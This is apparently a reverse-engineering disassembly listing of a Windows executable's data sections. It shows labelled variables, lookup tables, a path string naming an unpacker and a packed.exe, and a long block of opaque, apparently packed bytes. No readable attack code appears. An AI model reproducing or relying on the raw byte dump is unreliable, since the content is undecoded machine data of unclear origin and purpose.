dword_46B6B8	dd 0			; DATA XREF: sub_41605A+7Ar
					; sub_41AE20+5r
dword_46B6BC	dd 0			; DATA XREF: sub_41B42C+29r
dword_46B6C0	dd 1			; DATA XREF: sub_41C639+28r
					; sub_41C639+4Cw ...
		dd 2 dup(0)
dword_46B6CC	dd 0			; DATA XREF: sub_417033+4r
					; sub_417033+9Dr ...
		dd 3 dup(0)
dword_46B6DC	dd 0			; DATA XREF: sub_417A19+61r
					; sub_417A19+BFr ...
		dd 0
dword_46B6E4	dd 1			; DATA XREF: sub_41C85D:loc_41C9D8r
					; sub_41C9F6+4w ...
dword_46B6E8	dd 0			; DATA XREF: sub_41CEDB+3Ar
					; sub_41CEDB+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41D170:loc_41D187o
					; seg001:off_46B66Co
		align 4
		dd 3Ah dup(0)
dword_46B7F0	dd 1			; DATA XREF: sub_41D3BD+2r
					; sub_41D3BD+23w ...
dword_46B7F4	dd 0			; DATA XREF: sub_41D77C+21r
dword_46B7F8	dd 0			; DATA XREF: sub_4187D6:loc_4187FFw
					; sub_4188A0+154w ...
dword_46B7FC	dd 1			; DATA XREF: sub_41DA93+26r
					; sub_41DA93:loc_41DAFDw
dword_46B800	dd 0			; DATA XREF: sub_4188A0+7r
		align 8
word_46B808	dw 0			; DATA XREF: sub_41E67B+1Ao
					; sub_41E67B+46r
byte_46B80A	db 0			; DATA XREF: sub_41E67B+39r
		align 4
dword_46B80C	dd 7 dup(0)		; DATA XREF: sub_41E67B+52o
dword_46B828	dd 0			; DATA XREF: sub_41E67B+40w
					; sub_41E67B+5Co
dword_46B82C	dd 0			; DATA XREF: sub_41E67B+4Dw
dword_46B830	dd 0			; DATA XREF: sub_41E67B+31w
dword_46B834	dd 0			; DATA XREF: sub_41E67B+52w
dword_46B838	dd 77C26E79h		; DATA XREF: sub_41E79E:loc_41E7C1r
					; sub_41E79E+38r ...
		align 10h
dword_46B840	dd 0			; DATA XREF: sub_41EA02+11w
					; sub_41EA02+63w ...
		align 8
dword_46B848	dd 0			; DATA XREF: sub_41EA02+33o
					; sub_41EA02+46r
dword_46B84C	dd 10h dup(0)		; DATA XREF: sub_41EA02+C1o
word_46B88C	dw 0			; DATA XREF: sub_41EC60+A8r
word_46B88E	dw 0			; DATA XREF: sub_41EA02+54r
					; sub_41EC60+DBr ...
word_46B890	dw 0			; DATA XREF: sub_41EC60+CAr
word_46B892	dw 0			; DATA XREF: sub_41EC60+D3r
					; sub_41EC60:loc_41ED52r
word_46B894	dw 0			; DATA XREF: sub_41EC60+C0r
word_46B896	dw 0			; DATA XREF: sub_41EC60+B8r
word_46B898	dw 0			; DATA XREF: sub_41EC60+B0r
word_46B89A	dw 0			; DATA XREF: sub_41EC60+9Er
dword_46B89C	dd 0			; DATA XREF: sub_41EA02+4Br
dword_46B8A0	dd 10h dup(0)		; DATA XREF: sub_41EA02+FBo
word_46B8E0	dw 0			; DATA XREF: sub_41EC60+46r
word_46B8E2	dw 0			; DATA XREF: sub_41EA02:loc_41EA79r
					; sub_41EC60+78r ...
word_46B8E4	dw 0			; DATA XREF: sub_41EC60+67r
word_46B8E6	dw 0			; DATA XREF: sub_41EC60+70r
					; sub_41EC60:loc_41ECE4r
word_46B8E8	dw 0			; DATA XREF: sub_41EC60+5Dr
word_46B8EA	dw 0			; DATA XREF: sub_41EC60+55r
word_46B8EC	dw 0			; DATA XREF: sub_41EC60+4Dr
word_46B8EE	dw 0			; DATA XREF: sub_41EC60+3Er
dword_46B8F0	dd 0			; DATA XREF: sub_41EA02+80r
dword_46B8F4	dd 0			; DATA XREF: sub_41EA02+132r
					; sub_41EA02:loc_41EB4Er ...
dword_46B8F8	dd 0			; DATA XREF: sub_41E9EDr sub_41E9ED+Ew
dword_46B8FC	dd 0			; DATA XREF: sub_41EF8E+3r
					; sub_41EF8E+2Ew ...
dword_46B900	dd 0			; DATA XREF: sub_41EF8E+43w
					; sub_41EF8E:loc_41EFDDr
dword_46B904	dd 0			; DATA XREF: sub_41EF8E+4Aw
					; sub_41EF8E+60r
dword_46B908	dd 0			; DATA XREF: sub_41DDF6+3Fr
dword_46B90C	dd 0			; DATA XREF: sub_41FB6B:loc_41FBD2r
					; sub_41FB6B+6Do
dword_46B910	dd 0			; DATA XREF: sub_41FB6B:loc_41FBA9r
					; sub_41FB6B+44o
dword_46B914	dd 0			; DATA XREF: sub_41FB6B:loc_41FB9Cr
					; sub_41FB6B+37o
dword_46B918	dd 0			; DATA XREF: sub_41FB6B:loc_41FBB6r
					; sub_41FB6B+51o
		align 10h
dword_46B920	dd 0			; DATA XREF: sub_420119+28r
					; sub_420119+48w ...
byte_46B924	db 1			; DATA XREF: sub_404EA5r sub_404EA5+9w ...
		align 4
dword_46B928	dd 341110h		; DATA XREF: sub_418769:loc_41877Ar
					; sub_418A10+14r ...
		dd 5 dup(0)
dword_46B940	dd 400h	dup(0)		; DATA XREF: seg001:off_43A638o
					; seg001:0043A640o
dword_46C940	dd 200h			; DATA XREF: sub_418769+9r
					; sub_418769+56r ...
		dd 7 dup(0)
dword_46C960	dd 340650h		; DATA XREF: sub_417C57+B1r
					; sub_41C178+75r ...
dword_46C964	dd 3Fh dup(0)		; DATA XREF: sub_41D4EF+92o
dword_46CA60	dd 20h			; DATA XREF: sub_4185EB+8r
					; sub_41C251+Cr ...
dword_46CA64	dd 4E4h			; DATA XREF: sub_41C85D+14r
					; sub_41C85D+65w ...
		align 10h
dword_46CA70	dd 3 dup(0)		; DATA XREF: sub_41C85D+123o
					; sub_41C85D+171o ...
dword_46CA7C	dd 0			; DATA XREF: sub_41C85D+108w
					; sub_41C85D+15Dw ...
byte_46CA80	db 0			; DATA XREF: sub_41CA9C:loc_41CBA8w
					; sub_41CA9C:loc_41CBC5w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_46CB80	db 0			; DATA XREF: sub_41C85D+5Co
					; sub_41C85D+AFo ...
byte_46CB81	db 0			; DATA XREF: sub_4171E8+5Dr
					; sub_41C85D+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_46CC84	dd 0			; DATA XREF: sub_41C85D+6Ew
					; sub_41C85D+12Bw ...
dword_46CC88	dd 0			; DATA XREF: sub_418C75+3Cw
					; sub_41931A+5r ...
dword_46CC8C	dd 0			; DATA XREF: sub_418CE8+23Ar
					; sub_418CE8+25Ar ...
dword_46CC90	dd 0			; DATA XREF: sub_418C75+31w
					; sub_418CE8+311w ...
dword_46CC94	dd 0			; DATA XREF: sub_418C75+21w
					; sub_418CE8+22Dr ...
dword_46CC98	dd 0			; DATA XREF: sub_418C75+28w
					; sub_418CBDr ...
dword_46CC9C	dd 0			; DATA XREF: sub_418C75+15w
					; sub_418CBD+8r ...
dword_46CCA0	dd 0			; DATA XREF: sub_415C27+Fr
					; sub_41737F+5Cr ...
dword_46CCA4	dd 340000h		; DATA XREF: sub_415C27+66r
					; sub_415C9B+5Ar ...
dword_46CCA8	dd 1			; DATA XREF: sub_415C27r sub_415C9B+Cr ...
dword_46CCAC	dd 142340h		; DATA XREF: seg001:00417B92w
					; sub_41D05F+Fr ...
dword_46CCB0	dd 1			; DATA XREF: sub_41D0B7+ADw
					; sub_41FCDDr
dword_46CCB4	dd 1			; DATA XREF: sub_41CC21r
					; sub_41CC21+11w ...
dword_46CCB8	dd 340764h		; DATA XREF: sub_416663+13r
					; sub_416663:loc_4166A5r ...
dword_46CCBC	dd 340758h		; DATA XREF: sub_416663+1r
					; sub_416663+Cr ...
byte_46CCC0	db 1			; DATA XREF: sub_4209C4+15r
					; sub_4209C4+1Ew
		align 400h
seg001		ends

; Section 2. (virtual address 0006D000)
; Virtual size			: 0001B000 ( 110592.)
; Section size in file		: 0001B000 ( 110592.)
; Offset to raw	data for section: 0006D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
seg002		segment	para public 'DATA' use32
		assume cs:seg002
		;org 46D000h
		dd 3 dup(0)
		dd 154h, 6D028h, 5 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 7 dup(0)
		dd 0EC8B1C55h, 4948E81h, 45013C1Ch, 0B9575608h,	1501C3A5h
		dd 6CBD8DF0h, 0F3C5FFFDh, 3380C7F4h, 1200290h, 150E297Eh
		dd 142104Ch, 4335E850h,	858D1C83h, 3C7CFE74h, 88A10FDDh
		dd 0D06FFDF4h, 394E883h, 6C1B5A62h, 0E56807FBh,	0B0330E30h
		dd 0F63300B0h, 3920C483h, 0EAF87275h, 0E51CA456h, 3A44F4F1h
		dd 0B554481Fh, 44E80D6Dh, 4A944E1Bh, 6C981F14h,	0EBC59FDCh
		dd 1A0470B5h, 590E4049h, 1183562Ah, 5E5F1448h, 9884CAB2h
		dd 6A575380h, 73DB330Eh, 0AFC05059h, 88A5C34Dh,	0D0E4C9Dh
		dd 4C66ABF3h, 447C8AAAh, 27168FDh, 38CC1588h, 850643C4h
		dd 520774C0h, 23C9E937h, 5747FF70h, 0ED68E253h,	36AD651h
		dd 408802C9h, 831DC5F8h, 4589017Ch, 0A0840FE0h,	6A343A0h
		dd 46AC04Dh, 530F3651h,	597D8950h, 91193440h, 0B940793Ah
		dd 0C7660F14h, 0B159A845h, 8B319F54h, 286A08C3h, 0AA763966h
		dd 0C6AC3BF9h, 1652CC3Ch, 28982541h, 0D07D08CEh, 0C6D25D80h
		dd 880D432h, 1906D533h,	0DC5029D6h, 0EE433024h,	4150F0E8h
		dd 0B70E0FDBh, 0F2B999C0h, 0F9F78242h, 681B9052h, 34561978h
		dd 90EC4112h, 0D889501Eh, 0F01C482Ch, 0E810ACC3h, 0C94BC7Dh
		dd 0B3FDCD1Ch, 1F49809h, 0EB02F9A8h, 0A0CC6854h, 61471C3Fh
		dd 38EB10C1h, 0F43BFA68h, 7CF62528h, 3FF9E9D0h,	89DE6199h
		dd 6EF9F455h, 13020E42h, 0D21ADA90h, 0EE2801Fh,	5588D107h
		dd 400568C7h, 0F8869018h, 8FACA550h, 0B8CF8DFAh, 0FE33C1D5h
		dd 2B551006h, 0E4229B8Ah, 61EA9F3Fh, 3E06BC13h,	240E9918h
		dd 19B952B8h, 8103D56Bh, 5E146A36h, 33F75513h, 0C8CAC470h
		dd 0B4FC6F3Dh, 0E804D305h, 812103E9h, 112BFFC2h, 0EC9F5D52h
		dd 0E443E7D2h, 0BDC1F88Bh, 15DDAA0Ch, 0A457F40Bh, 2C1CAA1Ch
		dd 0FF0CBAF9h, 66500692h, 0D840200Eh, 0E5660DCh, 905D888Ch
		dd 691A3A0h, 30929985h,	880C94D8h, 6A267398h, 4C885D20h
		dd 0CE88DFFh, 0EC248CEFh, 866C2356h, 8840FB22h,	0CF346A1Dh
		dd 287CE01Ch, 46FC643Bh, 342124CCh, 210B40D8h, 48C79160h
		dd 8CF14912h, 8A581E53h, 4C44AB41h, 9A812846h, 898DD618h
		dd 0D1B24092h, 106A2D40h, 2DAE53FCh, 42E026A1h,	536CB8B2h
		dd 45467462h, 20484710h, 3BE83EC0h, 127FC881h, 65CA8C0Fh
		dd 0E41C9019h, 8214C43Eh, 75510CBEh, 26EC3812h,	0B4200E5Eh
		dd 0C38B07C4h, 4CC95B5Fh, 228BE818h, 682C0CE9h,	3F67718Ch
		dd 1109F21Dh, 9C95188Eh, 0A488515h, 1953C116h, 2024DEDDh
		dd 8B4D865Fh, 181265C4h, 80B1E587h, 0B470144h, 68D86FCFh
		dd 907FA875h, 0A475D442h, 57024070h, 5360A590h,	848D2C39h
		dd 100B932h, 85E85650h,	0C5A0A6FCh, 750644A4h, 0FF484001h
		dd 0E678C823h, 2C90B0FFh, 6292C35Bh, 44E603BCh,	686AD1C5h
		dd 45889695h, 66BAAA44h, 70434C68h, 66484D58h, 9C98890Dh
		dd 0D4B30299h, 0FC0571C5h, 0C12C5F75h, 3811FB44h, 407E0832h
		dd 0DBC1333Eh, 0DC7D390Ch, 0A4573270h, 0D8E9E51Ch, 6E484D9Eh
		dd 0FE446232h, 3B171222h, 0AA10FCF2h, 0C875889Bh, 3C5C1AF0h
		dd 0C957882Fh, 5BF4CB84h, 57FA169Ah, 2C165350h,	5AF975CDh
		dd 31427C79h, 778F0522h, 36169BE2h, 0A3113347h,	4264A63Bh
		dd 94537DFEh, 6855296Fh, 9DC4B490h, 46CB1B3Dh, 34B2675Eh
		dd 9ACC233Ch, 6AA23C11h, 34F93D64h, 0B8A63DA0h,	2FD99B2h
		dd 9511C557h, 8BB187E6h, 69C32935h, 7D95802Ch, 0C2D6FF08h
		dd 1EE9F810h, 1C688E48h, 0C63B7ABAh, 42ADB505h,	9900BD9Dh
		dd 28A366D4h, 2A42AD6Ah, 22076C1Dh, 48C86E3Dh, 88808270h
		dd 1491711Dh, 30741072h, 0F72E69E8h, 0E3C14101h, 9024E908h
		dd 1AC80315h, 910D1059h, 15487490h, 18EB2B74h, 8A108CDDh
		dd 98AE59EAh, 251DA351h, 0BB78E1FBh, 3CDE1311h,	905B8337h
		dd 50158827h, 8DCB137Ch, 0B8887D90h, 2C08F067h,	483A2EAAh
		dd 0B37E9591h, 42988288h, 88801510h, 28A990E8h,	144616FFh
		dd 13846852h, 2CAA9B22h, 97A539A9h, 5AFF3757h, 165D4AFEh
		dd 0F982CFCh, 679F8435h, 28487485h, 60ED242Bh, 0F1F7D233h
		dd 0D0088FB0h, 0A2CB860Fh, 25EC452Ch, 6B3287F1h, 0C8803CC0h
		dd 1D0AE8C1h, 82D075F7h, 505114E9h, 48CC764Ch, 8AC81508h
		dd 0C33F6445h, 883BA110h, 3723FC1Ch, 98CF6214h,	87393F30h
		dd 166985A1h, 90778CCAh, 0D3041CEh, 88CD3575h, 4440A0EBh
		dd 0C2117E18h, 385AB213h, 0A68738CAh, 0F21464EBh, 0E485882Fh
		dd 3B1072ECh, 0F9F0882Bh, 9F077014h, 0E813FD91h, 0EC1CCC0Ch
		dd 32802184h, 0C43A9408h, 85EC2818h, 849A7095h,	2848FDECh
		dd 10FBF253h, 0B08497C0h, 383027C1h, 44511997h,	11F4C81Eh
		dd 5BC8881Bh, 0A2F43CD4h, 208C66F4h, 3B2153B0h,	4BD04F3Ah
		dd 289B7B13h, 0B440B220h, 109185E0h, 0E444E222h, 12E881E6h
		dd 2EA11E9h, 8B5932F0h,	35CE4D33h, 183AD42Ah, 2D908B4h
		dd 0DA66E2B1h, 48C04EE8h, 0F879DE96h, 44C4200Bh, 0D588C014h
		dd 0F809843Dh, 8C13F28Bh, 0C1A86E36h, 73E8DC67h, 0AC923939h
		dd 4255FECCh, 504B8F39h, 8C8DD0A8h, 0EC24146Ah,	4E5FF080h
		dd 21953B57h, 397758ECh, 57CC2184h, 34396662h, 90864B21h
		dd 57E010DCh, 349443B2h, 32226043h, 0C3709596h,	5948F38h
		dd 0D8EA8846h, 959C38FDh, 0F47CB0C4h, 0DE3F1087h, 3BFC6161h
		dd 219439C6h, 20F890C8h, 88BC42A8h, 0BC8855F4h,	37AB4232h
		dd 8F95F41Ch, 62A1F29Fh, 20193CECh, 31DCE113h, 4B1A37CDh
		dd 420E902Ch, 581C23FDh, 32870440h, 0BC159B2h, 4CA463C0h
		dd 2C1C4C6Eh, 89091D46h, 668BCAB0h, 21614323h, 3D8B4260h
		dd 0D7FC275Ah, 9649A8A1h, 0F3D59F5h, 66E2B72Ch,	0FBC02216h
		dd 278434F0h, 3E1836C7h, 99C2589Dh, 92532375h, 54C3611Dh
		dd 0C4CB277Ch, 0C042EDC6h, 0DF0F5711h, 93EF88A1h, 88B84447h
		dd 5344345Ch, 0CC70C264h, 85757A14h, 10CE7EA3h,	87749C8h
		dd 71D90ED9h, 33DE110Eh, 0FD4E6AA6h, 0A65EC568h, 33CC2171h
		dd 2135D808h, 7A64346Eh, 0CF692370h, 346EE2B0h,	0BC1142B1h
		dd 0A735F910h, 2C5316E8h, 90ADBE4Ah, 88C120B4h,	0A721085Dh
		dd 4DE98D34h, 0C5481D2Bh, 0DC66125Eh, 506C9DC2h, 0C4D667BBh
		dd 6D87508h, 5D38DA5Dh,	0DD215ADCh, 2D74DE01h, 0C5A479E8h
		dd 0E6C10714h, 156FA608h, 65210343h, 74365B64h,	0A2CE04Ch
		dd 0C416EB46h, 71825EE2h, 0E0B26CB2h, 0CCFE8B6Ch, 182F8B48h
		dd 285F86E4h, 50C5BC67h, 68D006EBh, 0C3BA421Bh,	5E08E8EAh
		dd 23E53E41h, 0A0432CE8h, 4431B4E0h, 0ED5E8DC8h, 0CBB17C3Ah
		dd 0F0CDE174h, 0EB02F500h, 21205C53h, 0F42491C4h, 993C4FC2h
		dd 40CBC20h, 0CB251E85h, 0F1E5348Bh, 7D1F62A6h,	0EF197AFh
		dd 0E11D68F5h, 0F6E2F410h, 0CE0E386h, 0CB789C41h, 0CCFA3754h
		dd 0A020F809h, 0A440E0B8h, 0A60D87A5h, 0DA61488Dh, 9DCD9562h
		dd 0ED24BBBDh, 80D92466h, 9A8E1E90h, 21D8CE36h,	0F8908173h
		dd 7742D434h, 5672B833h, 58656F52h, 45DACC34h, 170D884Dh
		dd 0D77233ECh, 482E3960h, 118FDE45h, 0C8D85825h, 9E2EC8BCh
		dd 0D5B6A73Ch, 0D720AE47h, 2097D043h, 0BB860F04h, 0D86AFD4Fh
		dd 9C22B528h, 0FDC4C2DBh, 11444614h, 5810FBC0h,	32C68433h
		dd 0F183CA64h, 101B0B56h, 5BB18FEEh, 2B4E0F30h,	0FD4776E4h
		dd 8432F010h, 0BC2CFBC0h, 7E423746h, 0A46D8ACh,	0DD7070C8h
		dd 19A7872Fh, 40503EDh
		dd 0D256F057h, 15E65C1Ah, 6893EC62h, 0C8855204h, 48705824h
		dd 8006F73Ch, 1101382Bh, 44C2C808h, 0A94438CCh,	0C4149322h
		dd 85A9407Ch, 400375F6h, 0F77EB02h, 93FC45B7h, 0FA1128D1h
		dd 21F84205h, 8AF610F0h, 2818EAF2h, 45E85671h, 0AD0C9409h
		dd 6728CEE5h, 30C98BDh,	75B2FD75h, 424FCBDh, 0B2C40A55h
		dd 146A0E36h, 34D89018h, 8E925394h, 0C0D6914h, 0A009E170h
		dd 12332440h, 0CCC95EC0h, 842DC27h, 24A58381h, 725EB3F7h
		dd 0FC65C925h, 47C054C2h, 5DBF924h, 245B4638h, 2833A449h
		dd 0ABF353C5h, 2FDCFF09h, 0B84DC494h, 1A8469C4h, 4420D796h
		dd 84A4BBF0h, 1A086A32h, 11C04A60h, 388A3B23h, 0F2287574h
		dd 0A3A0505Ch, 3CCD244Eh, 11C744DEh, 10423C78h,	184F3081h
		dd 0B58DD5C7h, 1D8481A4h, 92029682h, 8D8150FCh,	72FE68E8h
		dd 53527B74h, 636A323Bh, 0A4C410CAh, 532B8984h,	2BB51542h
		dd 4C74485h, 0A5349CDAh, 0C4E8BB5Ah, 0F0BF2A0Fh, 4F78E6ECh
		dd 20CD08FCh, 79E48482h, 1145C27Bh, 0A6C661Ch, 0BC831F18h
		dd 0D1EB1A7Eh, 8015D540h, 107D5B0Ah, 91BD84C7h,	0DFC2114h
		dd 0E0D74E9h, 0C01E242Ch, 2B2E7D0Ah, 490802F9h,	143C478Bh
		dd 35110321h, 4211043h,	8D232511h, 5A308B0Dh, 0C7149D30h
		dd 9208323h, 74E81338h,	803CE991h, 0D755908h, 6C05A480h
		dd 0F2662723h, 0B93D71C4h, 9B257644h, 0B150527Bh, 4A246068h
		dd 7E4161EBh, 35850F0Dh, 20541CDBh, 3413E38Ah, 7B2BA8D8h
		dd 0AC4C2243h, 499E9A50h, 0D5EC932Eh, 37840AEDh, 22102F2Fh
		dd 7EBC92Fh, 7493FE35h,	30A3A14h, 27A0FA0h, 26040540h
		dd 89C81A75h, 9C2F07EBh, 83D4C0AEh, 3591E8A0h, 83188CB1h
		dd 7481142Ah, 3BCC287Dh, 8C0F0890h, 831FFE33h, 8414FC58h
		dd 0C47D29Ah, 0E80B28DCh, 512C2936h, 61B499C4h,	8B02B4B8h
		dd 2FB3E822h, 88AF9F05h, 0B324A8A5h, 0F24CAA20h, 89C658B6h
		dd 0B20B8840h, 0A6B98424h, 3342D582h, 180756F6h, 2E87D456h
		dd 46401C97h, 4CBA6456h, 0E60445E3h, 0B27B62E8h, 4A56CBFCh
		dd 9EB6500Ch, 0F88B610Fh, 12FC5483h, 844FE391h,	105EFD4Ch
		dd 2DB68446h, 7CD87561h, 401A42DCh, 49DCD4E8h, 4CDC99EFh
		dd 6A82EFEh, 0C5F5D4EFh, 0DCF48AE4h, 4354F0D0h,	2819D42Bh
		dd 6913B8D0h, 5E4034C0h, 16D4B889h, 7C129F44h, 3D80C449h
		dd 7E648A99h, 380C08D1h, 5CED085h, 1266918Dh, 73995759h
		dd 2ACE8611h, 88857614h, 2CE04524h, 0F80FE13Eh,	2131046Ah
		dd 0DC988824h, 0F0832955h, 218445B8h, 475E2CB5h, 89E3844Bh
		dd 85874B78h, 0C9A8BB53h, 10F4F7E6h, 540D482Fh,	64A4CBBCh
		dd 1C8A1086h, 2D6C1B91h, 86E0C8F5h, 3B55BD80h, 0C5750603h
		dd 6458858Bh, 496D1E13h, 2DD85018h, 0B86BB375h,	0A8681814h
		dd 31CFC5B0h, 9C8526A9h, 0C3968233h, 505260D0h,	18CA451Fh
		dd 474D121Ah, 0AA182691h, 0C8E33ABDh, 6AE925F8h, 6241AA6h
		dd 0C40F60CFh, 0A8C490F4h, 548C9726h, 8A0E8BE0h, 7E8B7F04h
		dd 6BBBC55h, 988534FFh,	4525AE0Fh, 7EB37660h, 3B35304Eh
		dd 21112A7Bh, 88B9B104h, 0AB76E911h, 68857C35h,	5C744518h
		dd 19A85722h, 0B55B1210h, 3C98858h, 4F0961D9h, 28C91082h
		dd 5834A2E4h, 42426991h, 0D23E6231h, 2E6FDB2h, 4C1B2B47h
		dd 0EC88431Ah, 0DC165010h, 7B4B211h, 4F98A166h,	0E011109Ah
		dd 1203C4Ch, 1EF82CB5h,	3D658AE4h, 0C645A428h, 91EA95A5h
		dd 5836CB2Dh, 228AB0BAh, 91FA5CB4h, 0D72604CFh,	0BE3BEC31h
		dd 0D5A38BCh, 3D0190BBh, 0C328F041h, 0A1244424h, 2D081C05h
		dd 2446AB20h, 42075098h, 1856FE5Ch, 112FA542h, 62104924h
		dd 321A1088h, 10D2593Bh, 3D8BA661h, 0D7A617F0h,	4B7478E5h
		dd 0A3C99468h, 90B465BAh, 865F4638h, 0D4841043h, 0A7383D31h
		dd 4DC4245h, 0EBC01A32h, 0B5343E22h, 1164C39Ch,	0F431CCF6h
		dd 2A01B013h, 7FC8A512h, 0ED34F7B8h, 910954E8h,	511026A1h
		dd 0F231AADFh, 5313D214h, 0C67499Ah, 0C8F2B758h, 23046836h
		dd 296A24E0h, 0CB006B63h, 0C8054C8Ah, 45A4801Fh, 1EB8B9A4h
		dd 66388C88h, 4F64011h,	6AE77C28h, 2D69960h, 31824BB9h
		dd 57DA2A13h, 1512C86Fh, 0C00315AAh, 0FF4570ABh, 0F78A9768h
		dd 3F1C984Dh, 682A096Ah, 4522FE7h, 848D02D0h, 2FFF7F45h
		dd 3129D6C5h, 130ED3Dh,	0B8201A04h, 88C03F02h, 8124FFB6h
		dd 2253852Ah, 0CB88B442h, 20443CB6h, 0FE410904h, 327D24CEh
		dd 0CCFF2A92h, 29B2CD6h, 3C99358Eh, 40564A38h, 60CE4FE1h
		dd 824888B0h, 0BDE6DA14h, 0D354C84Fh, 16DD22F7h, 210DACBFh
		dd 89E340E3h, 4A685792h, 4A18CAAAh, 0BBF6286h, 407E0B24h
		dd 6C988D9Ah, 2446B5D8h, 0CCA0EB48h, 2DBE8B25h,	292547D8h
		dd 8591513Ah, 0D8333437h, 914B0C11h, 0EE5826h, 0A450FC68h
		dd 28F929EBh, 665C1113h, 811FEA77h, 72BB4080h, 0EE6810C6h
		dd 9217D3CAh, 8C714510h, 22882505h, 0C43BB874h,	7CC73B40h
		dd 0A51B80E5h, 2127D358h, 0BE05590Eh, 0B5211C52h, 818D7650h
		dd 0CE84316Ah, 0C8C02E29h, 540F2097h, 50185122h, 50D0D1EBh
		dd 0E3F02807h, 91DC30A3h, 10BE4707h, 90C42F7Ch,	5A4E33F1h
		dd 127D1933h, 15175665h, 0F8AC36C4h, 0C4345E88h, 98D8A135h
		dd 8530895Dh, 2968299Ch, 5C57A00Eh, 206FA4D3h, 0F1F27B3h
		dd 5B6445BEh, 8B04C040h, 1CE79935h, 71FA2C6Ah, 26F5BDC4h
		dd 744B5D6h, 0D4C1E904h, 0EC0BC2F9h, 640BB21h, 193ED9C2h
		dd 5853A9C0h, 24DCD729h, 0F853689Ch, 0B13A2B50h, 284BC674h
		dd 13A06886h, 2B4C58CAh, 940B9BD1h, 2DAFB2F2h, 303A59BCh
		dd 8A944ED1h, 0CB27558Bh, 22B88237h, 367E1B5Ah,	223B7B4Fh
		dd 6A243D30h, 88C95570h, 2A902BE8h, 44C894C4h, 98310A5Eh
		dd 89120897h, 94B53C68h, 3BA23114h, 2E414F10h, 862226FCh
		dd 226D3C29h, 10FC35ADh, 20E6966h, 0E2CAEE8Eh, 0DC8DD81Dh
		dd 7A08980Fh, 49587FEBh, 0AC996A7Ch, 8AA6084Dh,	0DD88D2BAh
		dd 0D3D86284h, 89268E10h, 45A80C90h, 2EA5EEDBh,	24843278h
		dd 0E0533760h, 14B3BB8Ah, 8B0CF850h, 688863A8h,	6B94B92Ch
		dd 4B826578h, 2F164B7Ch, 7AF07B84h, 81FA406Eh, 8415C450h
		dd 950FC01Ch, 125357EEh, 8C085850h, 5B84FFA2h, 7DFBC1E8h
		dd 25A2D8F8h, 0F473A594h, 0A8E2912Dh, 0D86D845Fh, 64A6AA2h
		dd 38EAA562h, 0FE4083F0h, 0CA08975h, 0F5689E8h,	8B268A22h
		dd 6495D1Dh, 0EA1989D8h, 0C7494D70h, 3BD3FF18h,	57267174h
		dd 0FC214DBFh, 8540F790h, 45859856h, 50DC04ECh,	0E07574ECh
		dd 6816944Ah, 6A448A2Dh, 1229ED29h, 0B011DE25h,	8B1F0F1Ah
		dd 0A328545Dh, 0E24C4853h, 19EC607Ch, 7430E883h, 44480E2Dh
		dd 6B9A6CCAh, 244EEB46h, 302B36C5h, 0C3B88921h,	0E9227514h
		dd 24395334h, 67226225h, 289ED41Eh, 0FC24F82Fh,	24B8A353h
		dd 14384583h, 2D7F3B74h, 0B87D91E8h, 1C59322Ah,	1FF80825h
		dd 0B619A670h, 5F811268h, 0BFA92514h, 0AC10F0ABh, 73409080h
		dd 3B0495FFh, 52A38D40h, 0F87C8D9Ah, 0C70F7A21h, 0CB6C4C84h
		dd 8A85A787h, 30C041Eh,	0D024B48Dh, 21592B29h, 7209BD9Bh
		dd 41D8623Ch, 0F70A0CBCh, 75DB85C0h, 1A8CBE04h,	0F976B503h
		dd 46FA5451h, 0D2BE5CFCh, 7D8DE860h, 0A291B9F4h, 0BE02A518h
		dd 0BD10A038h, 3FADBCACh, 93CA663Fh, 27DCB2C6h,	88A042CEh
		dd 1DC5D4B1h, 0DC858945h
		dd 13F16FA9h, 0C56DDD1Eh, 0E7DC1730h, 6A5012C4h, 522078E5h
		dd 13869C57h, 1B8D5064h, 0FC902296h, 0B92B7310h, 10F415AAh
		dd 8B8563C8h, 0F250C75h, 468948C0h, 84B83514h, 1FB612D1h
		dd 47E0C08h, 1C811006h,	0A73C5825h, 0C3BB0582h,	4774F3A7h
		dd 0A75733Bh, 5657C072h, 9741B18h, 0DE6AA726h, 0B302EB8Eh
		dd 0E309DF3Dh, 0DD42E20Eh, 29F334B4h, 2CD904E2h, 0E3AC59E4h
		dd 0D721E285h, 33E2E7A1h, 56E4B1F6h, 88E29DC6h,	81F12A91h
		dd 0C7E921A7h, 38F3650Bh, 1D24A436h, 942D2DB9h,	75095DE4h
		dd 71405FE2h, 4B8866Bh,	0E8344C30h, 0BA096B1Dh,	0BEC2E868h
		dd 0DFFFDAA7h, 0C1E85D69h, 4E79C26Fh, 0A4CF273Dh, 0E84210ECh
		dd 0FFD41AB4h, 0C885C3B2h, 80020866h, 5420BB53h, 306A3255h
		dd 0B959DF4Dh, 64223109h, 0E02C2260h, 41C29040h, 6A420921h
		dd 0E0D3EF44h, 477C0E23h, 0D3D7B730h, 0D18B3EEBh, 468D3DD0h
		dd 0F076017Ch, 23414F21h, 35844181h, 0CC42522Ch, 3E741581h
